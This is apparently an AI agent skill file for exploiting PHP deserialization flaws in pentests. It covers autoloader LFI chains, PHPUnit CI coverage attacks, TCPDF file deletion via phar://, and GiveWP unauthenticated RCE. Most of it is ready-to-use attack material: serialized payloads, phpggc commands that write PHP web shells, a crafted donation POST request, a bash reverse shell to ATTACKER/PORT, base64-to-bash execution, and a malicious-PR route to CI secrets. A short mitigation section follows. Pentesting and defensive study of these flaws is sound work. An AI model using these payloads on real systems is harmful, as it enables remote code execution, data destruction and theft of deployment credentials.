| name | php-deserialization-pentest |
| description | PHP deserialization exploitation for pentesting. Use this skill whenever you need to exploit PHP deserialization vulnerabilities, including spl_autoload_register abuse, phpggc gadget chains, PHPUnit PHPT coverage attacks, TCPDF POP chains, html2pdf phar:// exploitation, or GiveWP unauthenticated RCE. Trigger this skill for any PHP deserialization testing, gadget chain construction, or when analyzing PHP applications for unsafe unserialize() calls. |
PHP Deserialization Pentesting
A comprehensive guide to exploiting PHP deserialization vulnerabilities in web applications and CI/CD pipelines.
Quick Reference
| Attack Vector | Prerequisites | Impact |
|---|
| spl_autoload_register + LFI | Deserialization + custom autoloader | RCE via file loading |
| PHPUnit PHPT Coverage | CI/CD with phpunit < 8.5.52/9.6.34/10.5.63/11.5.50/12.5.8 | RCE in CI container |
| TCPDF __destruct | TCPDF loaded + unserialize() | Arbitrary file deletion |
| html2pdf phar:// | html2pdf ≤5.3.0 + PHP < 8.0 | File deletion via phar metadata |
| GiveWP <3.14.2 | GiveWP plugin + Stripe/Faker deps | Unauthenticated RCE |
1. spl_autoload_register + LFI/Gadget Chain
When to Use
- You found PHP deserialization but no gadgets in the current app
- Another vulnerable app shares the same container with exploitable libraries
- The target uses
spl_autoload_register with path transformation logic
Attack Flow
-
Identify the autoloader pattern
spl_autoload_register(function ($name) {
if (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
});
-
Load external composer autoload
- Class name becomes file path:
www_frontend_vendor_autoload → /www/frontend/vendor/autoload.php
- Payload:
O:28:"www_frontend_vendor_autoload":0:{}
-
Generate phpggc payload for the external library
phpggc Guzzle FW1 /tmp/a.php "<?php system('YOUR_COMMAND'); ?>" -o
-
Combine into single serialized array
a:2:{
s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}
s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...}
}
-
Add LFI loader for the created file
a:3:{
s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}
s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...}
s:6:"Extra3";O:5:"tmp_a":0:{}
}
Important Notes
- Private properties may be dropped: If gadget attributes arrive empty, edit the
chain.php to make properties public
- May require two requests: First creates the file, second loads it
- File upload shortcut: If you can upload
.php files, abuse the autoloader directly for RCE
2. PHPUnit PHPT Coverage Deserialization (CI/CD)
When to Use
- Target uses PHPUnit with PHPT coverage
- You can contribute test files to the repository
- PHPUnit version < 8.5.52 / 9.6.34 / 10.5.63 / 11.5.50 / 12.5.8 (CVE-2026-24765)
Attack Flow
-
Create malicious coverage file
<?php
$payload = file_get_contents('php://stdin');
file_put_contents('exploit.coverage', $payload);
-
Place in repository alongside a PHPT test file
-
Submit PR - CI executes phpunit --configuration phpunit.xml
-
PHPT runner deserializes the coverage file → RCE in CI container
Impact
- RCE inside CI/CD runner
- Access to mounted secrets (cloud creds, deployment keys)
- No web access required
3. TCPDF __destruct POP Chain
When to Use
- Application uses TCPDF and calls
unserialize() on user input
- TCPDF version < 6.9.3 (older versions have weaker path checks)
- Goal: arbitrary file deletion
Payload Structure
a:1:{
s:4:"html";
O:5:"TCPDF":2:{
s:7:"file_id";i:-1;
s:9:"imagekeys";a:1:{
i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";
}
}
}
How It Works
- TCPDF
__destruct() calls _destroy(true)
- Iterates over
$this->imagekeys
unlink()s paths under K_PATH_CACHE
- Path traversal bypasses restrictions
Triggering via phar:// in html2pdf
Prerequisites: html2pdf ≤5.3.0, PHP < 8.0
-
Create Phar archive
python scripts/create-phar-payload.py \
--metadata "<serialized TCPDF payload>" \
--output archive.png
-
Upload/place the file (e.g., /tmp/user_files/user_1/archive.png)
-
Submit HTML with CERT tag
<cert src="phar:///tmp/user_files/user_1/archive.png"
privkey="phar:///tmp/user_files/user_1/archive.png" />
-
html2pdf calls file_exists() → deserializes Phar metadata → TCPDF destructor runs
4. GiveWP Unauthenticated RCE (CVE-2024-5932)
When to Use
- WordPress site with GiveWP plugin < 3.14.2
- Donation forms accessible without authentication
- Stripe and Faker dependencies present
Attack Flow
-
Generate payload using phpggc or PoC
uv run CVE-2024-5932-rce.py -u "<form_url>" -c "<command>"
-
POST to donation endpoint
POST /donations/<slug>/ HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
amount=5&give-form-id=1&give-form-title=Any&give-gateway=offline&action=give_process_donation&give_title=<serialized_payload>
-
Use blind RCE techniques
- Reverse shell:
bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"
- Callback payloads for output exfiltration
- File deletion via
unlink sink
Chain Components
Stripe\StripeObject - base object
Give\Vendors\Faker\ValidGenerator - validator sink
Give\Onboarding\SettingsRepository - command storage
- Sink:
shell_exec or unlink
5. Finding and Testing Deserialization
Detection Patterns
unserialize($_GET['data']);
unserialize(file_get_contents('php://input'));
session_start();
include($_POST['file']);
file_exists('phar://' . $_GET['file']);
Testing Checklist
phpggc Quick Commands
phpggc -l
phpggc -l | grep -E "Guzzle|Monolog|Drupal|WordPress"
phpggc <Gadget> <Function> <Argument> -o
phpggc Guzzle FW1 /tmp/shell.php "<?php system('id'); ?>" -o
6. Payload Construction Tips
Private Property Issue
When mixing gadgets across applications, private properties may be dropped during deserialization if class definitions differ.
Solution: Edit the gadget's chain.php to make properties public:
private $filename;
public $filename;
Multi-Object Arrays
Combine multiple objects in one serialized array for complex chains:
a:3:{
s:5:"obj1";O:28:"ClassLoader":0:{}
s:5:"obj2";O:31:"GadgetObject":4:{...}
s:5:"obj3";O:5:"Loader":0:{}
}
Base64 Encoding
For command injection in file creation:
<?php system('echo <base64_command> | base64 -d | bash'); ?>
7. Mitigation Recommendations
For Developers
- Never call
unserialize() on user input
- Use
json_decode() for structured data
- Implement strict type checking
- Keep dependencies updated (check phpggc for known gadgets)
- Use PHP 8.0+ (phar:// stream restrictions)
For Security Teams
- Monitor for
unserialize() in code reviews
- Scan dependencies with phpggc compatibility checks
- Test CI/CD pipelines for coverage file handling
- Review file upload and phar:// stream usage
8. References
Scripts
Use the bundled scripts for common tasks:
scripts/generate-payload.py - Generate phpggc payloads with custom options
scripts/create-phar-payload.py - Create Phar archives with serialized metadata
scripts/find-unserialize.py - Scan codebase for unsafe unserialize() calls
Run with --help for usage details.